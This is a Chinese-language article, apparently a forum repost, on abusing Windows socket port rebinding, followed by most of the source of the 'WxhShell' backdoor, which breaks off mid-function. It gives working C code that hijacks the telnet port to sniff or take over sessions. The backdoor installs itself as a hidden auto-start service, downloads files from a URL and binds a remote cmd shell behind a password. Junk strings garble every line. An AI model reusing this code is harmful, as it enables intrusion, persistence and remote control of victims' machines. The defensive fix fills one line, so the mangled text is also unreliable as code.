在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0Uaem s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
M,L@k Y:%"K saddr.sin_family = AF_INET;
i;HH !
TaN V~c(]K)- saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0|Q.U .jum "va% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
drX4$Kdf] &z0iLa4q) 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
r!M#7FDs( u-M] Az- 这意味着什么?意味着可以进行如下的攻击:
u~)%tL *(VbPp_H_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^8\Y`Z0% \I
xzdFF# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Wy,"cT w#d} TY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
b.(XS?4o T]X{@_
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2HVCXegq |lHFo{8" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
KF4see;; 9!S^^;PN& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Deog4Ol"/ cqHw^{'8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
vK`S!7x'& oP,RlR #include
Ebbe=4 #include
]kH}lr
yG #include
\y,;Cfl< #include
i/M+t~ DWORD WINAPI ClientThread(LPVOID lpParam);
"9u-lcQ\
int main()
Z#LUez;&t# {
I`#EhH WORD wVersionRequested;
}*ODM6 DWORD ret;
Z
c<]^QR WSADATA wsaData;
z}mvX.j7 BOOL val;
I &cX8Tw SOCKADDR_IN saddr;
Cd9t{pQD4 SOCKADDR_IN scaddr;
C*]AL/ int err;
n\
Gg6Y SOCKET s;
T*p|'Q` SOCKET sc;
_dY:)%[] int caddsize;
],$6&Cm HANDLE mt;
=QTmK/(|B DWORD tid;
{z-NlH
wVersionRequested = MAKEWORD( 2, 2 );
}7&\eV{qU err = WSAStartup( wVersionRequested, &wsaData );
mf#fA2[ if ( err != 0 ) {
f!^)!~ printf("error!WSAStartup failed!\n");
78^Y;2 P]W return -1;
l4DeX\ly7f }
w8U2y/:> saddr.sin_family = AF_INET;
<xC:Ant Fv;u1Atiw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
F1/6&u9I 4g S[D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mf#2.TR saddr.sin_port = htons(23);
a'm!M:w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Age-AJ {
ltP printf("error!socket failed!\n");
DwT i_8m; return -1;
G@;Nz i89 }
S q.9-h%5 val = TRUE;
V_ {vZ/0e //SO_REUSEADDR选项就是可以实现端口重绑定的
0U9+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
yi&?d&rK {
!OV|I printf("error!setsockopt failed!\n");
57'q;I return -1;
R+k=Ea&x }
x ru(Le}E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d!w1t=2H //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
0%#t[usY //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
EP/&m|o|G 5wy;8a if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fHW-Je7mG {
![qRoYpbg8 ret=GetLastError();
fdg[{T4: printf("error!bind failed!\n");
9#s,K! !3{ return -1;
nz}]C04:- }
5ZZd.9ZgM listen(s,2);
l85O-g}M while(1)
sn2r>m3 {
yo'q[YtP' caddsize = sizeof(scaddr);
gt#MeU //接受连接请求
DI L)7K4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D[+|^,^> if(sc!=INVALID_SOCKET)
=lYvj {
UU*0dSWr mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
A!n~8zcmp} if(mt==NULL)
X9p+a, {
axHxqhO7zp printf("Thread Creat Failed!\n");
"[FCQ break;
3`mC"ab / }
::kpl2r\c }
N+ak[axN CloseHandle(mt);
$z~jnc }
IJ+O),' closesocket(s);
~:R4))qpg WSACleanup();
-t;?P2 return 0;
\CP*i_:" }
]Fb8.q5(Y DWORD WINAPI ClientThread(LPVOID lpParam)
s$IcDuBu {
8/Lu'rI SOCKET ss = (SOCKET)lpParam;
ajf_)G5X P SOCKET sc;
Vj?*=UL unsigned char buf[4096];
hnH)Jy;> SOCKADDR_IN saddr;
4da^d9ZOy long num;
cYBrRTrI# DWORD val;
{LjK_J' DWORD ret;
/<(R //如果是隐藏端口应用的话,可以在此处加一些判断
k9.u[y. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6nM
rO$i0k saddr.sin_family = AF_INET;
l6r%nHP@ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[N'r3 saddr.sin_port = htons(23);
c%o5E% if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E&}H\zt# {
$Ui]hA-:?y printf("error!socket failed!\n");
BBaHMsr return -1;
54, Ju'r }
.D>A'r8U val = 100;
\ x>NB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+H5 jRw {
F#zQQ)(Pf ret = GetLastError();
nS?S6G5h return -1;
NB~*sP-l& }
#JX|S'\x if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0j-F6a*p'1 {
ua6*zop ret = GetLastError();
PW(_yB; return -1;
/v<e$0~s< }
h8Dtq5t4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?h>(&HjWV {
BxW||O|_N" printf("error!socket connect failed!\n");
=|DkD-
O closesocket(sc);
$i5G7b closesocket(ss);
LIm$Wl1U return -1;
S^_JC }
LNsE7t while(1)
D/NIn=>j {
arpJiG~JR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
gK] T} //如果是嗅探内容的话,可以再此处进行内容分析和记录
'Q^G6'(SaK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4AG&z,[ num = recv(ss,buf,4096,0);
[qc6Q: if(num>0)
\!?
PhNv send(sc,buf,num,0);
dUBVp 9PB else if(num==0)
z.Ve#~\ break;
q[We][Nrzb num = recv(sc,buf,4096,0);
2=/-d$ if(num>0)
`UzCq06rJ1 send(ss,buf,num,0);
Au\=ypK else if(num==0)
{d{WMq$ break;
r(`8A:#d }
jHUz`.8B closesocket(ss);
SO8|]Fk closesocket(sc);
@i1 .5z return 0 ;
-h.3M0 }
7D9h;gsP A=l?IC@O <#J<QYF&2 ==========================================================
\f<thd*bC *axza~d 下边附上一个代码,,WXhSHELL
*1;L,*J"| NR@SDW ==========================================================
Xj(k(>7V >ZOZv #include "stdafx.h"
iIC9rso"Q1 9h)P8B.>M #include <stdio.h>
).@)t:uNa #include <string.h>
PT=2LZ #include <windows.h>
QjT#GvHY #include <winsock2.h>
Xl
'\krz #include <winsvc.h>
=-#iXP@ #include <urlmon.h>
_s=Pk[e hPX2 Bp #pragma comment (lib, "Ws2_32.lib")
))we\I__8 #pragma comment (lib, "urlmon.lib")
`04Y ;@w YC+ZVp"v #define MAX_USER 100 // 最大客户端连接数
hKH
Q!`&v #define BUF_SOCK 200 // sock buffer
Qr xO
erp #define KEY_BUFF 255 // 输入 buffer
yp7,^l .x9nWa #define REBOOT 0 // 重启
YH:W] #define SHUTDOWN 1 // 关机
`;8u9Ff !{|yAt9kP #define DEF_PORT 5000 // 监听端口
U7Sl@-#| %%H. &*i, #define REG_LEN 16 // 注册表键长度
itvy[b-* #define SVC_LEN 80 // NT服务名长度
4pOc` !IrKou)/_ // 从dll定义API
M4$4D? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Kk"B501 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
iJ~iJ'vf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8Gzs typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Q'V,?# /E1c#@ // wxhshell配置信息
v\L Ip struct WSCFG {
EXScqGa] int ws_port; // 监听端口
9dhFQWz" char ws_passstr[REG_LEN]; // 口令
r+WPQ`Ar int ws_autoins; // 安装标记, 1=yes 0=no
#)c;i<Q3S char ws_regname[REG_LEN]; // 注册表键名
trNK9@wT) char ws_svcname[REG_LEN]; // 服务名
rea}Uq+po char ws_svcdisp[SVC_LEN]; // 服务显示名
[&k& $04_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
%PNm7s4x2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
-2mOgv int ws_downexe; // 下载执行标记, 1=yes 0=no
'$&(+>)z` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
h;h,dx char ws_filenam[SVC_LEN]; // 下载后保存的文件名
x[h<3V" (Su2\x };
x[,wJzp\6 M<me\s) // default Wxhshell configuration
0.,&B5) struct WSCFG wscfg={DEF_PORT,
& ;x1Rx "xuhuanlingzhe",
c`[uQXv 1,
(/UMi,Ho "Wxhshell",
[8(9.6f "Wxhshell",
Kps
GQM "WxhShell Service",
w6%CBE2 "Wrsky Windows CmdShell Service",
Ab|NjY: "Please Input Your Password: ",
bTYP{x~ y 1,
)6S}O*
1 "
http://www.wrsky.com/wxhshell.exe",
{;rpgc "Wxhshell.exe"
Xf/<.5A };
7|?@\ZE [,V92-s;N // 消息定义模块
6P[O8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/[|md0, char *msg_ws_prompt="\n\r? for help\n\r#>";
;$&5I9N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2SCf]& char *msg_ws_ext="\n\rExit.";
2nz'/G char *msg_ws_end="\n\rQuit.";
Q,+*u%/u char *msg_ws_boot="\n\rReboot...";
Gt*<? char *msg_ws_poff="\n\rShutdown...";
,'0oj$~S: char *msg_ws_down="\n\rSave to ";
N`^W*>XB T;e (Q,!H char *msg_ws_err="\n\rErr!";
V$]a&wM<5 char *msg_ws_ok="\n\rOK!";
V?pO ~qo HK4`@jYQ char ExeFile[MAX_PATH];
XhkL))FcG int nUser = 0;
(E]K)d HANDLE handles[MAX_USER];
IpVwn Nj!} int OsIsNt;
[A/+tv #1lS\! SERVICE_STATUS serviceStatus;
Ud?d. SERVICE_STATUS_HANDLE hServiceStatusHandle;
mI*>7? vxfh1B& // 函数声明
#]hkQo int Install(void);
LfSUY int Uninstall(void);
KQI} 5 int DownloadFile(char *sURL, SOCKET wsh);
PL2Q!i`[o int Boot(int flag);
~8 a>D<b void HideProc(void);
@G-k]IWi int GetOsVer(void);
xRZT int Wxhshell(SOCKET wsl);
tqk6m# @( void TalkWithClient(void *cs);
`v+O5 int CmdShell(SOCKET sock);
{Q3#]Vu int StartFromService(void);
5m;wMW< int StartWxhshell(LPSTR lpCmdLine);
zEL[%(fnc ?At-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
p%qL0
VOID WINAPI NTServiceHandler( DWORD fdwControl );
L&k$4,Z9 %Q4w9d // 数据结构和表定义
w%u[~T7OI SERVICE_TABLE_ENTRY DispatchTable[] =
PqeQe5 {
2PW3S{D t {wscfg.ws_svcname, NTServiceMain},
.aRxqFi_ {NULL, NULL}
1;9E*= };
uy%PTi+A s+t eYL#Zi // 自我安装
F4l6PGxF&\ int Install(void)
QU;C*}0Zl {
K&oO+ G^f char svExeFile[MAX_PATH];
K%@SS8!oy HKEY key;
f3&//h8 strcpy(svExeFile,ExeFile);
.-*nD8b ^]K)V // 如果是win9x系统,修改注册表设为自启动
zL{@LHP if(!OsIsNt) {
g5'bUYsa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^IZ0M1&W; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
AR2+W^aM3 RegCloseKey(key);
cLF>Jvs*J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J(*"S!q)6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
jpS#'h RegCloseKey(key);
VrP%4P+ return 0;
oW9rl]+ }
Hs!CJ(0"y }
C#cEMKa }
,6)y4=8 L else {
cjpl_}'L: spDRQ_qq // 如果是NT以上系统,安装为系统服务
!ry+ r!" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
b%$C!Tq' if (schSCManager!=0)
|"*:ZSj {
No+zw% l0E SC_HANDLE schService = CreateService
$h
f\ #'J (
aDEP_b; schSCManager,
'Z}$V* wscfg.ws_svcname,
HAdm, wscfg.ws_svcdisp,
=ZL20<TeH SERVICE_ALL_ACCESS,
^(B*AE. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"61n?Z#,M[ SERVICE_AUTO_START,
sZ$ ~abX SERVICE_ERROR_NORMAL,
8=Ht+Br svExeFile,
OOwJ3I >]> NULL,
7K4%`O
NULL,
hY'%SV
p NULL,
;sJ2K"c NULL,
<C xet~x NULL
W%:zvqg
v );
f>PU# D@B if (schService!=0)
7 {<lH%Tn {
]d(}b>gR~( CloseServiceHandle(schService);
$SgD|
9 CloseServiceHandle(schSCManager);
nwVtfsb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
] lTfi0}g_ strcat(svExeFile,wscfg.ws_svcname);
YiMecu if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\rO>FE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J'v|^`bE RegCloseKey(key);
3E9j%sYk return 0;
[G)Sq; }
#d(r^U#I }
;I'["k% CloseServiceHandle(schSCManager);
/y@iaptC }
,B!Qv3bn }
Ss}0.5Bq b@Cvs4 return 1;
^5F/=TtE G }
i>}z$'X )I9(WVx!] // 自我卸载
}(6k7{,Gw, int Uninstall(void)
.?
/J {
Rl8-a8j$f. HKEY key;
~VKXL,. $T0[ if(!OsIsNt) {
sP7 (1)\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2e=Hjf
)
RegDeleteValue(key,wscfg.ws_regname);
$4]PN2d& RegCloseKey(key);
gd*?kXpt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
WdnP[x9 RegDeleteValue(key,wscfg.ws_regname);
+UtK2<^:o RegCloseKey(key);
egvWPht'_ return 0;
9IV WbJ }
?i"FdpW }
pj6Cvq4bD }
MIJ~j><L else {
SqQB>;/p fZC,%p SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
on$a]zx'@ if (schSCManager!=0)
l|{<!7a {
v2Y=vr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
){~.jP=-# if (schService!=0)
1g+<`1=KT {
V}?5=f' if(DeleteService(schService)!=0) {
DEhA8.v CloseServiceHandle(schService);
CXA8V"@&b/ CloseServiceHandle(schSCManager);
hpu(MX\ return 0;
c#Bde-dh }
"AVc^> CloseServiceHandle(schService);
!T)>q%@ai }
3[4]G@ CloseServiceHandle(schSCManager);
P8f-&( }
mLSAi2Y }
+l\Dp ZWH`s return 1;
Ns_d10rZ. }
mUxD.;P HN+z7 Q8hH // 从指定url下载文件
U@WT;:.T int DownloadFile(char *sURL, SOCKET wsh)
i^(<E0vS {
oZCO$a HRESULT hr;
kCV OeXv char seps[]= "/";
DQd&:J@? char *token;
8*X8U:.0o char *file;
K"61i:F char myURL[MAX_PATH];
q!4dK4`#5 char myFILE[MAX_PATH];
Wu(GC]lTG 6gXc-}dp strcpy(myURL,sURL);
e9hQJ
1{)x token=strtok(myURL,seps);
s#ykD{Z while(token!=NULL)
v)06`G {
l3,|r QD file=token;
3 0Z;}<)9 token=strtok(NULL,seps);
2#!D" F }
3h&s=e! Z)<>d. GetCurrentDirectory(MAX_PATH,myFILE);
<_~`)t strcat(myFILE, "\\");
cl:YN]BK strcat(myFILE, file);
&x3y.}1 send(wsh,myFILE,strlen(myFILE),0);
?a%
u=G send(wsh,"...",3,0);
?(z3/"g] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_kSus if(hr==S_OK)
}PVB+i M return 0;
P<1zXs.H else
F`l1I=; return 1;
Tym!7H2 9Z=Bs)-y. }
y<
84Gw_ 5o?bF3 // 系统电源模块
/dAIg1ra int Boot(int flag)
YL]x>7T~4t {
/D12N'VaE HANDLE hToken;
fg2}~02n TOKEN_PRIVILEGES tkp;
A+'j@c\&! (+@H !>r$$ if(OsIsNt) {
y=CemJ[~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
&AzA0r&, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Q["}U7j tkp.PrivilegeCount = 1;
pVr,WTr6E tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fqi584 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L_(|5#IDw if(flag==REBOOT) {
.3[YOM7h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]du pU"VV return 0;
"-9YvB# }
.._wTOSq else {
B*{CcQ<5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
KQk;:1hW return 0;
$ _zdjzT }
wS4zAu }
F=cO=5Iz else {
g#e"BBm=A if(flag==REBOOT) {
IzG7!K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
i<l)To - return 0;
g$ h!:wW }
X- zg else {
_.j KcDf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
j%lW+[% return 0;
B=f{`rM)~W }
yuND0,e }
qVf~\H@ rl4-nA return 1;
_z_uz\#, }
!cfn%+0 B|8(}Ciqx // win9x进程隐藏模块
!!9V0[ void HideProc(void)
R
+k\)_F {
^'}Td~( h'
16"j> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
>y1/*)O9~ if ( hKernel != NULL )
wFh{\ {
RxqXGM`4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
IgVxWh# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^OUkFH;dG? FreeLibrary(hKernel);
Vry# }
`=oN &! M$w^g8F27H return;
aw(P@9] }
DY1o!thz) bygwoZ<E // 获取操作系统版本
,+2ytN* int GetOsVer(void)
!=ZbBUJF {
WHU&9N OSVERSIONINFO winfo;
.; :[sv) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)%*uMuF GetVersionEx(&winfo);
-IPc;`< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
_c[t.\-`] return 1;
h4V.$e<T& else
c|E return 0;
k1X <jC]P }
)+{'p0 C; ! )<(Vw // 客户端句柄模块
|XeuqZa int Wxhshell(SOCKET wsl)
zdr?1= {
7.]ZD`"Bb SOCKET wsh;
gbF.Q7?$u struct sockaddr_in client;
JTVCaL3Z DWORD myID;
tL D.e AE@*#47 while(nUser<MAX_USER)
=_,w< {
J6jrtLh int nSize=sizeof(client);
X_XqT wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
T1Xm^{ if(wsh==INVALID_SOCKET) return 1;
k)4
~dC^| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)5B90[M|t if(handles[nUser]==0)
)
~X\W\ closesocket(wsh);
4rv3D@E else
fuQ?@F nUser++;
y>|7'M*+ }
V]IS(U( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[~ fJ/ )PZ'{S return 0;
zL1H[}[z+ }
fY\QI
= _uL m !ku // 关闭 socket
Uc\\..Cf void CloseIt(SOCKET wsh)
<UeO+M( {
7)~/`w)P closesocket(wsh);
HdLVXaD/ nUser--;
Kx ';mgG#$ ExitThread(0);
U1B5gjN }
%T!UEl`v jh9^5"vQ // 客户端请求句柄
.I[uXd void TalkWithClient(void *cs)
7x`uGmp1 {
FD[*mCGZ )'92{-A0 SOCKET wsh=(SOCKET)cs;
(eHvp char pwd[SVC_LEN];
<Cm:4)~ char cmd[KEY_BUFF];
)t0t*xu# char chr[1];
xj(&EGY: int i,j;
\# ?$9C[Kw` while (nUser < MAX_USER) {
co#%~KqMu T5o9pmD if(wscfg.ws_passstr) {
R|`}z"4C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#}l}1^$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#BF(#1: //ZeroMemory(pwd,KEY_BUFF);
+Nyx2(g<m i=0;
PoQ@9
A while(i<SVC_LEN) {
u.R:/H<>~ ,Epg&)wC] // 设置超时
I
91`~0L* fd_set FdRead;
Qr$uFh/y struct timeval TimeOut;
{V,rWg FD_ZERO(&FdRead);
BHqJ~2&FDW FD_SET(wsh,&FdRead);
U_Id6J]8 TimeOut.tv_sec=8;
:43K)O" TimeOut.tv_usec=0;
jO3Z2/# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>PfYHO if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
DM"`If%3j -&y{8<bu4H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
]Ocf %( pwd
=chr[0]; a'rN&*P
if(chr[0]==0xd || chr[0]==0xa) { ^!!@O91T
pwd=0; RR*<txdN
break; n"$D/XJO
} qbpvTTF
i++; O]90F
} USfOc
~\(U&2t
// 如果是非法用户,关闭 socket 0(h *<g:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E XEae?
} pO4}6\1\
?E=&LAI#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3T%WfS+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aa8WRf
}r9f}yX9Q
while(1) { 3;@t{rIin
6(VCQ{
ZeroMemory(cmd,KEY_BUFF); ;VNwx(1l`
W_ngB[
// 自动支持客户端 telnet标准 7{2knm^
j=0; +3!um
while(j<KEY_BUFF) { M n3cIGL
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ts
aD5B
cmd[j]=chr[0]; 4L(axjMYU
if(chr[0]==0xa || chr[0]==0xd) { Cir==7A0
cmd[j]=0; 48Z{wV,
break; kbOdg:
} IX,/ZOZ|
j++; <$K%u?
} fOF02WP^
1Hp0,R}
// 下载文件 n(0O'nS^
if(strstr(cmd,"http://")) { (Rve<n6{A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gmf.lHr$%
if(DownloadFile(cmd,wsh)) y/'2WO[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); It!PP1$
else >x eKO2o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p3 qlVE
} 4hr;k0sD
else { #swzZyM$
:OUNZDL
switch(cmd[0]) { .TSj8,
n'U*8ID
// 帮助 "9>~O`l,
case '?': { HBXp#$dPc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =(3Qbb1i
break; Y, )'0O
} }[SWt3qV1
// 安装 %F` cNw]
case 'i': { k^:$ETW2
D
if(Install()) j]6Z*AxQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ru|L.G`
else 4t|ril``]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P*BA
break;
e%afK@c
} tK`sVsm>
// 卸载 XTUxMdN
case 'r': { .R#p<"$I
if(Uninstall()) j*Ta?'*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dLt$<F
else c 5+oP j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pej/9{*xg(
break; b54<1\&
} ?kI-o0@O.
// 显示 wxhshell 所在路径 @TdPeTw\
case 'p': { N4}j,{#
char svExeFile[MAX_PATH]; . Zrt/;
strcpy(svExeFile,"\n\r"); pLE|#58I
strcat(svExeFile,ExeFile); 2G=Bav\n+
send(wsh,svExeFile,strlen(svExeFile),0); NIY0f@1z-
break; >2_BL5<S
} MS)# S&
// 重启 J}Bg<[n
case 'b': { ka0T|$ u(s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5? &k? v@
if(Boot(REBOOT)) rbHrG<+7zO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {OL*E0
else { u-=S_e
closesocket(wsh); >k,bHGj?
ExitThread(0); #I'W[\l~+
} `(vgBz`e[
break; v7&e,:r2E@
} |"8Az0[!
// 关机 $W<H[k&(B
case 'd': { j7K9T
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7[rn
,8@
if(Boot(SHUTDOWN)) UeIu
-[R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3k`"%R.H
else { idMb}fw>
closesocket(wsh); 'ejuzE9
ExitThread(0); m\(4y Gj
} B$1e AwT9
break; S$HzuK\f
} B.-5$4*s
// 获取shell 9<I@}w
case 's': { >9'G>~P~I=
CmdShell(wsh); ,A[40SZA
closesocket(wsh); (C={/waJ
ExitThread(0); .]6_
break; TRL4r_
} `C%,Nj
// 退出 : ~"^st_[!
case 'x': { =QHW>v
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }QU9+<Z[r
CloseIt(wsh); }L^Yoq]
break; IsxPm9P2<
} (cAv :EKpo
// 离开 odMjxWY
case 'q': { j#S>8:
G
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,UopGlA
,
closesocket(wsh); 4(o: #9I
WSACleanup(); i[`nu#n/
exit(1); Q6@}t&k4C
break; =G]} L<
} GMU.Kt
} $v#Q'?jE
} JR|yg=E
D|/Azy.[
// 提示信息 A)Wp W M
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "#z4
} ck>|p09q'9
} VI,z7
\
C18pK8-
return; y:WRpCZoa
} 7}(wEC
B(wk $2
// shell模块句柄 W"? |O Q'
int CmdShell(SOCKET sock) #Z;ziM:
{ A8&yB;T$y
STARTUPINFO si; / tM<ois*
ZeroMemory(&si,sizeof(si)); K++pH~o
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $,otW2:)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t_6sDr'.
PROCESS_INFORMATION ProcessInfo; 5Al59]
char cmdline[]="cmd"; O6LZ<}oUR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;ob-'
return 0; 7Oe |:Z
} w~y+Pv@
H$zjN8||"
// 自身启动模式
(C*G)Aj7
int StartFromService(void) LH@)((bi4v
{ E#JDbV1AC
typedef struct 1fM=>Z
{ "5C)gxI^
DWORD ExitStatus; o\vIYQ
DWORD PebBaseAddress; U~-Z`_@^-
DWORD AffinityMask; rQg7r>%Q
DWORD BasePriority; <&\HXAOd
ULONG UniqueProcessId; .\M@oF
